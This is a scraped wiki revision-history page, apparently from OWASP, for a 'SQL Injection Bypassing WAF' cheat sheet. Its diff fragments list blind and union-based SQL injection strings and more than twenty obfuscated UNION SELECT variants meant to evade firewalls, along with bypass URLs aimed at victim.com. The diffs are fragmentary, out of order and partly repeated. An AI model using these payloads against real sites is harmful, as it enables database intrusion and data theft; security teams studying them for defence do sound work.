SQL Injection Bypassing WAF - Revision history

DhirajMishra: /* Dhiraj Mishra */

2017-06-16T16:27:51Z

‎Dhiraj Mishra

DhirajMishra: /* SQL Injection – WAF Bypass*/

2017-06-16T16:26:44Z

‎SQL Injection – WAF Bypass

DhirajMishra: SQL injection WAF Bypass

2017-01-20T07:37:29Z

SQL injection WAF Bypass

DhirajMishra at 10:35, 10 November 2016

2016-11-10T10:35:15Z

DhirajMishra: /OWASP SQLi WAF ByPassing/

2016-10-09T16:31:37Z

‎OWASP SQLi WAF ByPassing

DhirajMishra: /* Benchmark */

2016-08-28T05:29:28Z

‎Benchmark

DhirajMishra: SQLi WAF EVASION OWASP

2016-08-28T05:25:44Z

SQLi WAF EVASION OWASP

DhirajMishra: /OWASP SQLi WAF ByPassing/

2016-08-07T16:31:08Z

‎OWASP SQLi WAF ByPassing

DhirajMishra: /OWASP SQLi WAF ByPassing/

2016-08-07T16:26:39Z

‎OWASP SQLi WAF ByPassing

DhirajMishra: /OWASP SQLi WAF ByPassing/

2016-07-10T17:41:06Z

‎OWASP SQLi WAF ByPassing

@@ Line 340: / Line 340: @@
 == Contributor ==
-<insert/>
+Dhiraj Mishra (mishra.dhiraj@owasp.org)
 <br>
 [[Category:Injection]]

@@ Line 26: / Line 26: @@
 # Blind SQL Injection
 <pre>
-  Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
+ Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
 </pre>
@@ Line 248: / Line 258: @@
      union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
 <br>
 == Bypass with Comments ==
 SQL comments allow us to bypass a lot of filtering and WAFs.

@@ Line 186: / Line 186: @@
    +union+distinctROW+select+<br>
    /**//*!12345UNION SELECT*//**/<br>
    /**//*!50000UNION SELECT*//**/<br>
    /**/UNION/**//*!50000SELECT*//**/<br>

@@ Line 299: / Line 299: @@
      So, if you find such a silly function, you can exploit it, in this way.
 </pre>
 == Benchmark==

@@ Line 267: / Line 267: @@
 Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html
 Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
 </pre>

@@ Line 270: / Line 270: @@
 == Benchmark==
-Please use ''' Benchmark''' and make you own SQLi Strings and test your different test cases on [https://www..org/index.php/Benchmark Benchmark.]
+Please use ''' Benchmark''' and make you own SQLi Strings and test your different test cases on [https://www.owasp.org/index.php/Benchmark Benchmark]
 <hr>
-''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www..org/index.php/Dhiraj_Mishra Mail Down] and be a part of '''The Popular SQLi Evasion CheatSheet.'''''
+''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www.owasp.org/index.php/Dhiraj_Mishra Mail Down] and be a part of '''The Popular SQLi Evasion CheatSheet.'''''
 == Contributor ==

@@ Line 2: / Line 2: @@
 <div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div><br/>
 Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
 == SQLi ==
 A [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.
@@ Line 74: / Line 75: @@
 ''Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked.''<br>
-''[http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf OWASP EU09 Luca Carettoni, Stefano diPaola].''
+''[http://www..org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf  EU09 Luca Carettoni, Stefano diPaola].''
 [[File:Sqli-HPP.png]]
@@ Line 177: / Line 178: @@
 • Attacking the application operating logics (and/or)<br>
 <br>
-<b>WAF Bypassing Methods.</b>
+<b>WAF Bypassing Strings.</b>
 <br>
@@ Line 240: / Line 241: @@
      union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
 <br>
-==OWASP Benchmark==
+== Bypass with Comments ==
-Please use '''OWASP Benchmark''' and make you own SQLi Strings and test your different test cases on [https://www.owasp.org/index.php/Benchmark Benchmark.]
+SQL comments allow us to bypass a lot of filtering and WAFs.
 <hr>
-''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www.owasp.org/index.php/Dhiraj_Mishra Mail Down] and be a part of '''The Popular SQLi Evasion CheatSheet.'''''
+''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www..org/index.php/Dhiraj_Mishra Mail Down] and be a part of '''The Popular SQLi Evasion CheatSheet.'''''
 == Contributor ==

@@ Line 180: / Line 180: @@
 <br>
-/*!%55NiOn*/ /*!%53eLEct*/<br>
+  /*!%55NiOn*/ /*!%53eLEct*/<br>
-%55nion(%53elect 1,2,3)-- -<br>
+  %55nion(%53elect 1,2,3)-- -<br>
-+union+distinct+select+<br>
+  +union+distinct+select+<br>
-+union+distinctROW+select+<br>
+  +union+distinctROW+select+<br>
-/**//*!12345UNION SELECT*//**/<br>
+  /**//*!12345UNION SELECT*//**/<br>
-/**//*!50000UNION SELECT*//**/<br>
+  /**//*!50000UNION SELECT*//**/<br>
-/**/UNION/**//*!50000SELECT*//**/<br>
+  /**/UNION/**//*!50000SELECT*//**/<br>
-/*!50000UniON SeLeCt*/<br>
+  /*!50000UniON SeLeCt*/<br>
-union /*!50000%53elect*/<br>
+  union /*!50000%53elect*/<br>
-+#uNiOn+#sEleCt<br>
+  +#uNiOn+#sEleCt<br>
-+#1q%0AuNiOn all#qa%0A#%0AsEleCt<br>
+  +#1q%0AuNiOn all#qa%0A#%0AsEleCt<br>
-/*!%55NiOn*/ /*!%53eLEct*/<br>
+  /*!%55NiOn*/ /*!%53eLEct*/<br>
-/*!u%6eion*/ /*!se%6cect*/<br>
+  /*!u%6eion*/ /*!se%6cect*/<br>
-+un/**/ion+se/**/lect<br>
+  +un/**/ion+se/**/lect<br>
-uni%0bon+se%0blect<br>
+  uni%0bon+se%0blect<br>
-%2f**%2funion%2f**%2fselect<br>
+  %2f**%2funion%2f**%2fselect<br>
-union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A<br>
+  union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A<br>
-REVERSE(noinu)+REVERSE(tceles)<br>
+  REVERSE(noinu)+REVERSE(tceles)<br>
-/*--*/union/*--*/select/*--*/<br>
+  /*--*/union/*--*/select/*--*/<br>
-union (/*!/**/ SeleCT */ 1,2,3)<br>
+  union (/*!/**/ SeleCT */ 1,2,3)<br>
-/*!union*/+/*!select*/<br>
+  /*!union*/+/*!select*/<br>
-union+/*!select*/<br>
+  union+/*!select*/<br>
-/**/union/**/select/**/<br>
+  /**/union/**/select/**/<br>
-/**/uNIon/**/sEleCt/**/<br>
+  /**/uNIon/**/sEleCt/**/<br>
-/**//*!union*//**//*!select*//**/<br>
+  /**//*!union*//**//*!select*//**/<br>
-/*!uNIOn*/ /*!SelECt*/<br>
+  /*!uNIOn*/ /*!SelECt*/<br>
-+union+distinct+select+<br>
+  +union+distinct+select+<br>
-+union+distinctROW+select+
+  +union+distinctROW+select+<br>
 <br>
 <hr>
-''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www.owasp.org/index.php/Talk:DhirajMishra Mail Down] and Be a Part of SQLi Contributor.''
+''If you have any SQLi Quires which is Missed above Please help to Contribute [https://www.owasp.org/index.php/Dhiraj_Mishra Mail Down] and be a part of '''The Popular SQLi Evasion CheatSheet.'''''
 == Contributor ==

SQL Injection Bypassing WAF - Revision history

DhirajMishra: /* Dhiraj Mishra */

DhirajMishra: /* SQL Injection – WAF Bypass*/

DhirajMishra: SQL injection WAF Bypass

DhirajMishra at 10:35, 10 November 2016

DhirajMishra: /*OWASP SQLi WAF ByPassing*/

DhirajMishra: /* Benchmark */

DhirajMishra: SQLi WAF EVASION OWASP

DhirajMishra: /*OWASP SQLi WAF ByPassing*/

DhirajMishra: /*OWASP SQLi WAF ByPassing*/

DhirajMishra: /*OWASP SQLi WAF ByPassing*/

DhirajMishra: /OWASP SQLi WAF ByPassing/

DhirajMishra: /OWASP SQLi WAF ByPassing/

DhirajMishra: /OWASP SQLi WAF ByPassing/

DhirajMishra: /OWASP SQLi WAF ByPassing/